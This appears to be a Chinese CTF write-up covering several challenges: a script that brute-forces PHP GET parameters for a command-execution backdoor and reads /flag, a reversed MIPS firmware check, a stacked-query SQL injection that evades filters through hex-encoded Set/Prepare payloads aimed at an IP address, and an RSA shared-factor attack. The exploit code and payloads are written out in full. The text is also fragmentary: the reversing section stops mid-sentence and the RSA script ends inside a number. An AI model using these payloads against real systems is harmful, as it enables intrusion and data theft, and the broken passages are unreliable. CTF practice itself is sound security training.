其实很简单,将每个php文件里的$_GET参数提取出来逐个爆破就行了。
find.py:
#!/usr/bin/env python3
import requests
import os
import re
url = 'http://localhost/src/'
ptn = re.compile(br"\$_GET\['(\w+)'\]")
ptn1 = re.compile(br'>>> (\w+) !!!')
i = 0
for f in list(os.scandir('/var/www/html/src'))[::-1]:
i += 1
print(i, end='\r')
with open(f.path, 'rb') as fp:
data = fp.read()
for get in set(ptn.findall(data)):
get = get.decode('ascii')
cmd = 'echo ">>> %s !!!";' % get
r = requests.get(url + f.name, params={get: cmd})
if ptn1.search(r.content) is not None:
print()
print(f.name, get)
exit()
get flag:
/xk0SzyKwfzw.php?Efa5BVG=cat /flag
openwrt,MIPSEL架构,给了fs和内核,挂载fs提取固件程序/bin/hello,命令:mkdir load && mount -t ext4 -o loop openwrt-malta-le-root.ext4 load
用retdec反编译,整理程序逻辑,主函数的大概逻辑如下:
int main(int argc, char ** argv) { ... puts("welcome to qwb2019"); puts("user_name: "); int32_t username = &v1; // 0x40056c scanf("%s", username); puts("user_pass: "); int32_t pwd = &v3; // 0x40058c scanf("%s", pwd); int32_t buf = malloc(80); // 0x400594 *buf = *username; *(buf + 4) = *(username + 4); *(buf + 8) = *(username + 8); *(buf + 12) = *(username + 12); int32_t v7 = username + 16; // 0x4005cc int32_t v8 = buf + 16; // 0x4005d0 buf = v8; ... if (check(buf, v14, v11, v10) == 0) { // 0x400640 puts_rc = puts("\nno"); // branch -> 0x40064c } else { // 0x400660 puts("\nyes"); puts_rc = printf("flag{%.5s%.32s}\n\n", buf, v9); //user+pass // branch -> 0x40064c } // 0x40064c return puts_rc; }
需要输入用户名和
过滤了select
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);
有堆叠查询
/?inject=1';show databases;show tables;%23
过滤了set和prepare,但只要大写就能绕过。
strstr($inject, "set") && strstr($inject, "prepare")
exp.py:
#coding=utf-8
import requests
#1919810931114514
part_url='http://49.4.66.242:31368/?inject='
payload="select flag from `1919810931114514`;"
payload=payload.encode('hex')
payload='''1';Set @x=0x'''+str(payload)+''';Prepare a from @x;execute a;%23'''
print payload
full_url=part_url+payload
r=requests.get(url=full_url)
print r.content
题目给出两对 RSA 明密文,其中两个 n 使用了相同的 q(即 q 是两者的公因数)。首先通过辗转相除法求出公因数 q,从而求出 p。已知 p 和 q,就能求出密钥d,解出密文。
解密脚本如下:
from Crypto.Util.number import long_to_bytes, inverse
n1 = 14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727
n2 = 1462466262872582061862237080394863085409468781433833482746287035758279529184492527469025360491953578593420808182542554153605755022704839983724339249076216773